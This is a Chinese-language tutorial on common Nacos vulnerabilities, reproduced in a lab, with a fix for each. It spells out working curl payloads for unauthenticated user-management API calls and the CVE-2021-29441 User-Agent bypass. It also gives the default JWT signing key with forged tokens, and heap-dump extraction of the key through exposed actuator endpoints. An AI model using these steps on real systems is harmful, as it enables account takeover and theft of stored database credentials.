Web 安全:Nacos 常见漏洞总结
0. 关于Nacos
什么是Nacos
Nacos是一个开源的动态服务发现、配置和服务管理平台,支持多种语言和框架。
- 分布式架构:Nacos 是基于分布式架构设计,可以轻松应对高并发、高可靠性、高扩展性等分布式应用场景。
- 注册服务发现功能:可以让服务自动注册到 Nacos 服务注册中心,并提供了多种服务发现方式,包括 DNS、HTTP 和 gRPC 等。
- 动态配置:动态配置功能可以帮助应用程序在运行时动态地获取配置信息,从而避免了重启应用程序的需要。
不使用Nacos,直接将数据库连接信息写在配置文件或后端源码中,其存在以下问题:
-
安全性问题:数据库连接信息写在配置文件中,容易被恶意用户获取,造成数据泄露等安全问题。
-
维护成本高:如果数据库连接信息发生变化,需要修改多个配置文件,而且每次修改都需要重新打包和部署应用程序,增加了维护成本。
业务系统使用Nacos是为了简化开发运维流程,但会将数据库连接信息等重要数据存储在存在安全风险的Nacos中,会严重影响业务系统安全性。
安装配置与使用
部署Nacos单节点测试环境
# 下载Nacos
wget https://github.com/alibaba/nacos/releases/download/2.0.2/nacos-server-2.0.2.zip
# Nacos依赖JAVA环境,安装OpenJDK
dnf -y install java-1.8.0-openjdk java-1.8.0-openjdk-devel.x86_64
# 解压
unzip nacos-server-2.0.2.zip
# 进入bin目录,单节点启动Nacos
cd nacos/bin/
./startup.sh -m standalone
# 此时查看本机监听端口,发现8848端口为LISTEN状态,证明Nacos启动成功
netstat -panut | grep 8848
注:此处使用的是Fedora 35,若无特殊说明,Nacos版本为2.0.2。若使用Windows进行复现,请自行安装JDK并配置环境变量。
若只需要复现漏洞,则只进行上面安装配置启动即可,后面的【不使用Nacos的场景】和【使用Nacos的场景】两小节只便于理解Nacos使用场景,跳过并不影响漏洞复现。
不使用Nacos的场景
不使用Nacos,开发者将数据库连接信息直接写在后端源码或者配置文件中。
# 连接MariaDB需要安装下面的Python依赖
pip install pymysql
pip install SQLAlchemy
#! /usr/bin/python3
from sqlalchemy import create_engine
from sqlalchemy import text
engine = create_engine("mysql+pymysql://root:toor@172.22.19.89:3306/learn")
sql_query = "select version()"
def exec(sql_query):
with engine.connect() as conn:
resu_proxy = conn.execute(text(sql_query))
sql_resu = resu_proxy.fetchall()
return sql_resu
if __name__ == "__main__":
print(exec(sql_query))
执行上面的Python3脚本,输出当前数据库的版本信息,成功连接数据库。
[root@JJY ~]# ./sql_base.py
[('10.5.18-MariaDB',)]
使用Nacos的场景
-
登录Nacos控制台:浏览器访问http://172.22.19.89:8848/nacos,输入用户名nacos,密码nacos登录。
-
创建配置:
配置管理
–配置列表
–左上角加号新建配置
,填写DataID和Group,配置类型选择JSON,填写如下配置内容,点击发布。
注:此处配置的的DataID为1,Group为默认的DEFAULT_GROUP
{
"host": "172.22.19.89",
"port": 3306,
"user": "root",
"password": "toor",
"database": "learn"
}
- Python连接Nacos需要依赖Nacos-SDK
# 安装Nacos SDK
pip install nacos-sdk-python
- Python通过Nacos中的数据库配置信息连接MySQL,不将数据库连接信息写到配置文件或者后端源码中。
#! /usr/bin/python3
from nacos import NacosClient
import json
from sqlalchemy import create_engine
from sqlalchemy import text
# Nacos连接信息
client = NacosClient('172.22.19.89:8848', username='nacos', password='nacos')
# Nacos数据库配置的DataID和所属组
data_id = '1'
group = 'DEFAULT_GROUP'
# 读取Nacos中的MySQL的连接配置信息
mysql_conf_json = client.get_config(data_id, group)
# JSON解析配置
mysql_conf = json.loads(mysql_conf_json)
# 连接MySQL
engine = create_engine(f"mysql+pymysql://{mysql_conf['user']}:{mysql_conf['password']}@{mysql_conf['host']}:{mysql_conf['port']}/{mysql_conf['database']}")
# 执行语句,返回执行结果
sql_query = "select version()"
def exec(sql_query):
with engine.connect() as conn:
resu_proxy = conn.execute(text(sql_query))
sql_resu = resu_proxy.fetchall()
return sql_resu
if __name__ == "__main__":
# 可以打印MySQL的连接信息
print(engine)
print(exec(sql_query))
- 执行上述脚本,利用Nacos中的数据库配置连接数据库,输出当前数据库的版本信息。
[root@JJY ~]# ./nacos_base.py
Engine(mysql+pymysql://root:***@172.22.19.89:3306/learn)
[('10.5.18-MariaDB',)]
通过上述过程,可了解数据库连接配置信息写在后端源码中和写在Nacos中的区别。
1. 如何判断Nacos版本
无需登录Nacos Web管理页,通过浏览器或CURL等工具访问下面的URL,返回结果中的Version字段值即为Nacos的版本号信息。
http://172.22.30.172:8848/nacos/v1/console/server/state
[root@JJY ~]# curl http://172.22.30.172:8848/nacos/v1/console/server/state
{"version":"2.0.2","standalone_mode":"standalone","function_mode":null}
2. Nacos 弱口令漏洞
漏洞简述
Nacos默认情况下存在弱口令,攻击者可使用用户名 nacos
,密码 nacos
登录系统后台,获取敏感信息。
复现过程
浏览器访问 http://nacos_ip:8848/nacos/ 可访问Nacos Web管理页面,输入用户名nacos,密码nacos即可成功登录。登录后可查看配置信息,配置信息中可能存在数据库连接信息。
修复方法
修改默认密码。登录后台管理页面,鼠标移动至右上角用户名nacos处,点击 修改密码
,输入要修改的密码,点击确认即可。
3. Nacos API未授权访问漏洞
漏洞简述
Nacos默认情况下未开启API鉴权,攻击者可直接调用API进行读取用户信息、添加用户、修改用户密码等操作,进而通过合法用户登录系统后台。
复现过程
测试Payload如下
# 读取用户账号信息
curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
# 添加用户
curl -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
# 修改任意用户密码
curl -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=999nine'
若执行结果如下,则证明该漏洞存在,Nacos API未开启鉴权。
# 读取用户账号信息
[root@JJY ~]# curl 'http://172.22.20.199:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$z.5brrb/lR8TnZsyEpOOdOicODRnHuhc.l5Ibmd6VRcLkhL0/xqE6"}]}
# 添加用户
[root@JJY ~]# curl -X POST 'http://172.22.20.199:8848/nacos/v1/auth/users?username=nine&password=nine'
{"code":200,"message":null,"data":"create user ok!"}
# 修改任意用户密码
[root@JJY ~]# curl -X PUT 'http://172.22.20.199:8848/nacos/v1/auth/users?username=nine&newPassword=9nine'
{"code":200,"message":null,"data":"update user ok!"}
若执行结果如下(返回结果中存在"status":403),则证明该漏洞不存在。
[root@ALMA ~]# curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"timestamp":"2023-04-06T10:21:40.355+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
[root@ALMA ~]# curl -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
{"timestamp":"2023-04-06T10:21:43.517+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
[root@ALMA ~]# curl -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=9nine'
{"timestamp":"2023-04-06T10:22:00.608+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
修复方法
开启鉴权,将配置文件 nacos/conf/application.properties 下的 nacos.core.auth.enabled
配置项修改为 true
即可,修改后无需重启Nacos。
nacos.core.auth.enabled=true
附:官方鉴权文档 Authorization
4. Nacos API认证绕过漏洞(CVE-2021-29441)
漏洞简述
Nacos服务器通过User-Agent白名单进行服务器间通信鉴权。攻击者可以通过修改HTTP请求报文中User-Agent字段为 Nacos-Server
,利用UA白名单绕过API鉴权,直接调用API。
注:该漏洞通过修改UA,让Nacos服务器误以为攻击者是其他Nacos服务器,从而绕过API鉴权,利用方式和上面第2个漏洞相同。
影响范围
Nacos = 2.0.0-ALPHA.1
Nacos =< 1.4.0
复现过程
注:需下载受该漏洞影响的Nacos版本进行复现,笔者使用的是1.4.0。下载后在配置中开启API鉴权,修改配置文件 nacos/conf/application.properties 中
nacos.core.auth.enabled
配置项的值为true
。
测试Payload如下,和上面第2个漏洞类似,只是HTTP请求报文中多添加了一个请求头User-Agent,内容为 Nacos-Server
。
# 读取用户账号信息
curl -H 'User-Agent: Nacos-Server' 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
# 添加用户
curl -H 'User-Agent: Nacos-Server' -X POST 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&password=nine'
# 修改任意用户密码
curl -H 'User-Agent: Nacos-Server' -X PUT 'http://172.22.23.222:8848/nacos/v1/auth/users?username=nine&newPassword=999nine'
实际测试结果如下:
# 不添加User-Agent,无法直接调用API。
[root@JJY conf]# curl 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"timestamp":"2023-04-06T06:21:31.718+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
# 添加User-Agent,值为Nacos-Server,成功读取用户信息
[root@JJY conf]# curl -H 'User-Agent: Nacos-Server' 'http://172.22.23.222:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
附:该漏洞的Github Issue
修复方法
更新Nacos版本 >= 1.4.1
5. Nacos secret.key 配置不当权限绕过漏洞
漏洞简述
Nacos配置文件中的Json Web Token签名密钥为硬编码的默认密钥。攻击者可以利用该默认密钥在本地生成JSON Web Token,进而绕过用户密码认证直接进入Nacos管理后台,进行查看、修改、删除用户数据库配置等操作。
Nacos登录流程如下图所示。
当正常用户通过账号密码认证成功登录后,Nacos后端会使用登录用户名、Token存活时间戳和JWT签名密钥这三个因子,为用户生成Token。浏览器会将该Token存储到用户浏览器缓存中,后续请求浏览器会自动携带该Token,从而记住用户登录状态。但由于JWT签名密钥是硬编码的默认密钥,用户名和时间戳可以自行填写,则在本地可以生成认证Token,进而绕过用户名密码认证。
影响范围
0.1.0 <= Nacos < 2.2.0.1
复现过程
复现前在配置中开启API鉴权,修改配置文件 nacos/conf/application.properties 中
nacos.core.auth.enabled
配置项的值为true
-
选择一个大于当前时间的时间戳,作为Token存活时间,大于该时间后Token将失效,可以使用时间戳转换工具自行生成。此处使用的时间戳为
1680940130
-
使用JWT在线生成工具生成Token,其中HEADER保持不变,PAYLOAD内容为
{"sub": "nacos","exp": 1680940130}
,其中sub值为Nacos用户名称,exp值为时间戳。VERIFY SIGNATURE即签名密钥内容为SecretKey012345678901234567890123456789012345678901234567890123456789
,勾选secret base64 encoded。
- 构造本地Token,将生成的Json Web Token作为Value,accessToken作为Key构造一个JSON字符串,其中Key和Value都是字符串类型,构造好的格式如下:
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MDk0MDEzMH0.o7ZwqMr12gyg8yLnQvrCXmNaAId7Cst7DDkWbiukLuw"}
- 将构造的Token填入浏览器本地存储空间中,密钥键为
token
,值为刚刚构造的JSON字符串。
- 刷新浏览器,成功绕过用户认证,直接进入Nacos管理页。
修复方法
修改JWT默认签名密钥,即配置文件 nacos/conf/application.properties 下的 nacos.core.auth.default.token.secret.key
配置项。官方推荐将该项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。
详细信息可参考官方文档中权限认证-自定义密钥的内容和官方风险说明及解决方案
6. 关于Nacos secret.key 配置不当权限绕过漏洞的补充
问题描述
默认情况下Nacos的Spring Boot Actuator未合理配置权限,即使开发人员修改了JWT签名密钥,攻击者还是可以通过Spring Boot Actuator 未授权访问漏洞获取JWT签名密钥,利用签名密钥在本地生成JSON Web Token。进而绕过用户名密码认证。
影响范围
? <= Nacos < 2.1.0
注:根据官方Github Issues中开发者的回复,Nacos 2.1.0 版本以及以后,默认关闭了actuator敏感端点的访问,实测2.0.2、2.0.4版本可以通过Spring Boot Actuator未授权访问漏洞下载heapdump从而获取JWT签名密钥,2.1.0版本默认无法下载heapdump。
复现过程
- 模拟用户修改了JWT签名密钥,且开启鉴权:
使用Nacos 2.0.4进行复现,修改nacos/conf/application.properties 下的鉴权配置项和签名密钥配置项,可以通过UUID + Base64的方式生成随机签名密钥。
[root@JJY conf]# cat /proc/sys/kernel/random/uuid | base64
NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==
### 开启鉴权
nacos.core.auth.enabled=true
### 修改默认的JWT签名密钥
nacos.core.auth.default.token.secret.key=NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==
- 尝试访问/actuator路径,查看是否存在Spring Boot Actuator敏感路径:
http://172.22.30.172:8848/nacos/actuator
[root@JJY conf]# curl http://172.22.30.172:8848/nacos/actuator
{"_links":{"self":{"href":"http://172.22.30.172:8848/nacos/actuator","templated":false},"auditevents":{"href":"http://172.22.30.172:8848/nacos/actuator/auditevents","templated":false},"beans":{"href":"http://172.22.30.172:8848/nacos/actuator/beans","templated":false},"caches":{"href":"http://172.22.30.172:8848/nacos/actuator/caches","templated":false},"caches-cache":{"href":"http://172.22.30.172:8848/nacos/actuator/caches/{cache}","templated":true},"health-component-instance":{"href":"http://172.22.30.172:8848/nacos/actuator/health/{component}/{instance}","templated":true},"health-component":{"href":"http://172.22.30.172:8848/nacos/actuator/health/{component}","templated":true},"health":{"href":"http://172.22.30.172:8848/nacos/actuator/health","templated":false},"conditions":{"href":"http://172.22.30.172:8848/nacos/actuator/conditions","templated":false},"configprops":{"href":"http://172.22.30.172:8848/nacos/actuator/configprops","templated":false},"env-toMatch":{"href":"http://172.22.30.172:8848/nacos/actuator/env/{toMatch}","templated":true},"env":{"href":"http://172.22.30.172:8848/nacos/actuator/env","templated":false},"info":{"href":"http://172.22.30.172:8848/nacos/actuator/info","templated":false},"loggers":{"href":"http://172.22.30.172:8848/nacos/actuator/loggers","templated":false},"loggers-name":{"href":"http://172.22.30.172:8848/nacos/actuator/loggers/{name}","templated":true},"heapdump":{"href":"http://172.22.30.172:8848/nacos/actuator/heapdump","templated":false},"threaddump":{"href":"http://172.22.30.172:8848/nacos/actuator/threaddump","templated":false},"prometheus":{"href":"http://172.22.30.172:8848/nacos/actuator/prometheus","templated":false},"metrics-requiredMetricName":{"href":"http://172.22.30.172:8848/nacos/actuator/metrics/{requiredMetricName}","templated":true},"metrics":{"href":"http://172.22.30.172:8848/nacos/actuator/metrics","templated":false},"scheduledtasks":{"href":"http://172.22.30.172:8848/nacos/actuator/scheduledtasks","templated":false},"httptrace":{"href":"http://172.22.30.172:8848/nacos/actuator/httptrace","templated":false},"mappings":{"href":"http://172.22.30.172:8848/nacos/actuator/mappings","templated":false}}}
发现存在actuator/env、actuator/heapdump等敏感路径。
- 访问actuator/heapdump路径,下载heapdump内存堆转储文件。
http://172.22.30.172:8848/nacos/actuator/heapdump
[root@JJY ~]# wget http://172.22.30.172:8848/nacos/actuator/heapdump
--2023-04-17 16:15:49-- http://172.22.30.172:8848/nacos/actuator/heapdump
Connecting to 172.22.30.172:8848... connected.
HTTP request sent, awaiting response... 200
Length: 106098459 (101M) [application/octet-stream]
Saving to: ‘heapdump’
heapdump 100%[======================>] 101.18M 208MB/s in 0.5s
2023-04-17 16:15:51 (208 MB/s) - ‘heapdump’ saved [106098459/106098459]
- 使用Eclipce MemoryAnalyzer打开heapdump文件进行分析。
File — Open Heap Dump — 在弹出的会话框右下角选择文件类型为 All Files ,选择刚刚下载的heapdump文件,点击 打开 。
OQL — 输入查询语句 — 点击红色叹号运行语句,查询语句如下
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("secret.key")))
- 通过JWT签名密钥生成Json Web Token
获取到的JWT签名密钥为 NzZjMmNhYTUtYTU4OC00NDVmLWIxZWMtYTM1NDQ0YmE1NTExCg==
,根据该密钥生成Json Web Token
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTY5NjIzOTAyMn0.PJcQf7vYsWJ1lfq16vypmWpHOem_bKWooMuz_mPrFvQ"}
- 通过Json Web Token登录Nacos Web管理页:
修复方法
修改配置文件 nacos/conf/application.properties 下的 management.endpoints.web.exposure.include
配置项的值为空。
management.endpoints.web.exposure.include=
附:Github Issue
nacos 2.2.0 prometheus路由404 · Issue #10243 · alibaba/nacos · GitHub
/actuator/env 可以读取到系统配置 · Issue #5868 · alibaba/nacos · GitHub